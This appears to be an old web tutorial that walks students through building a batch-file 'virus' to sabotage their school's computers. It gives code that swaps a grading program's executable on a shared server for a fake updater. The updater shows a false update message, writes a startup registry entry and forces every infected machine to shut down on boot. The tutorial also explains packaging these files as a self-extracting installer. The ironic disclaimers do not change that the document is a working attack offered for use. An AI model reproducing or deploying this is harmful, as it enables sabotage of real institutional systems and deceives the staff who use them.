Shutdown your whole school

Do not attempt what I am about to show you. This is a small virus that can be written in notepad and takes almost no effort, but can have devastating effects. I am not responsible for what you do with this information and by reading this you agree that any and all damage caused by use of this program is entirely your fault and is not my responsibility. If you are still reading this, then let's begin. First of all, most schools use a grading program. Teachers type your grade in it and it does all the work for them. This is always stored on a server. In some cases students can easily access this drive. In my school, the grading program is STI, but this method can be used on any program. Since the STI server is attached to all of the computers, it will also be able effect all of them. This is a small virus that uses STI to replicate itself and effect any teacher using STI with the virus. This virus camouflages itself by claiming to be updating STI. It doesn't work immediately however, it only works after the system has been turned off. Which most teachers do at the end of the day. So the effects of the virus will not be evident until the following morning when the computers have been rebooted. Upon startup the infected computer will display a message saying you have been hacked and give the user ten seconds before it shut the system down. So basically, the computer is now useless. This is easily fixed however, but most people don't know how. That is why I will also give you the code to fix the computers.

Here is the code for the main virus.

---

@echo off
shutdown.exe -s -t 10 -c "You have been hacked!"

Save this as your shutdown.bat

Here is the code for the installer. This just simply gets it ready to infect the teachers. ?,$, and ! means that it varies. It depends on what program you are using. To find out how to fill these blank, get on a computer that has access to the server that stores your grading program. ? is the drive letter. $ is any folders and sub folders that contain the main exe for the grading program. ! is the name of the main exe.

Example O:\sti\ssts2\sti.exe
?=O
$=sti\ssts2
!=sti

---

@echo off
cd C:\
move ?:\$\!.exe
ren C:?.exe real.exe
ren C:virus.exe !.exe
cd ?:\$
move C:\!.exe
move C:\shutdown.bat
move C:\Update.reg
exit

Save this as global.bat

Now you need a program that will do the actual infecting of the computers. This displays text saying that it is updating the grading program. Just replace the word STI with the name of the grading program used in your school. Also replace ?,$, and ! as specified in the last step. This what what you need to type:

---

@echo off
cd C:\WINDOWS
Echo STI must update itself, this will only take a few seconds.
pause
Echo Please wait while the files install.
move ?:\$\shutdown.bat
move ?:\$\Update.reg
Echo Adding information to registry.
pause
start regedit.exe Update.reg
cd ?:\$
start real.exe
exit

Now this one has to be in exe form. So save it as virus.bat, then compile it in Quick Batch File Compiler. You can get QuickBFC here: QuickBFC and download this file as a template for QuickBFC to work with. Just save the compiled file over this one. : Template virus

Now to make it load on startup

---

Download this file: Registry Updater

Now we need to make a program that will install all the files used in this process. I am going to use WinRAR to do this. You can get WinRAR here: http://www.rarlab.com. First gather all the files you have made thus far. The files should be shutdown.bat, Update.reg, virus.exe, and global.bat. Now select them all and put them in a .rar file. Then open Winrar and go to "tools", then select "convert archive to SFX". Click "Advanced SFX Options" In the field labeled Path to Extract, type C:\WINDOWS In the field labeled Run After Extraction, type C:\WINDOWS\global.bat Save the finished file anywhere you want and as any name. To install the virus, just run this program on a computer at school that is connected to the server that has the grading program on it.

You are all done. Thanks for reading, and remember: "With great power comes great responsibility." So use this program wisely, and by wisely I mean not at all.

But if you do, make sure to use this to remove the virus.

@echo off

shutdown -a
cd C:\WINDOWS
del shutdown.bat

save this as cure.bat and make an SFX installer that installs it to C:\WINDOWS

and make an SFX installer that installs it to C:\WINDOWS

The virus is already set to detect the cure and use it.
Just put the installer on a jump drive and run during the ten seconds it gives you before shutdown. Then let it shutdown. After that, reboot it again and the cure will stop the shutdown and remove the virus from the affected computer.

Then to prevent future breakouts of the virus. Run this batch file. Replace ?,$, and ! just as you have before.

@echo off
cd ?:\$
del !.exe
cd C:\
move ?:\$\real.exe
ren C:\real.exe !.exe
cd ?:\$
move C:\?.exe
exit

Okay, thats all.... See ya later!
